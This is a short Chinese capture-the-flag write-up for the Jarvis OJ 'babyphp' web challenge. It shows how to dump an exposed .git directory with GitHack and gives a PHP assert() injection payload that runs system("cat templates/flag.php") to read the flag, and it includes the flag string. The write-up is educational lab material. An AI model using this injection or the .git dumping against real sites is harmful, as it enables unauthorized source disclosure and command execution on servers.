编程语言
首页 > 编程语言> > Web-babyphp

Web-babyphp

作者:互联网

题目地址

http://web.jarvisoj.com:32798/

 

首先先观察网页,点击about发现下面包含这些

看到GIT,那么基本可以明确这题有.git泄露,我们用GitHack来获取源码分析

首先下载GitHack(这里用kali),然后执行获取源码

git clone  https://github.com/lijiejie/GitHack
python GitHack.py http://web.jarvisoj.com:32798/.git

 

得到以下两个文件,flag.php在templates,打开之后,并不能看到什么,那么我们去寻找index.php找线索

 打开index.php

 

 我们看看assert函数,官方定义

assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
就是说如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行   那么我们就可以构造payload
?page='.system("cat templates/flag.php").'

 

发现还是不行,右击查看源码或者直接F12,因为flag被注释了,所以在网页看不到

$FLAG = '61dctf{8e_careful_when_us1ng_ass4rt}

 

这题考察git泄露和assert函数

git泄露可以用githack获取源码

assertion 是字符串的时候,assert()函数可以当成PHP代码执行

 

 


 

标签:Web,git,assertion,assert,源码,GitHack,babyphp,php
来源: https://www.cnblogs.com/gaonuoqi/p/11625700.html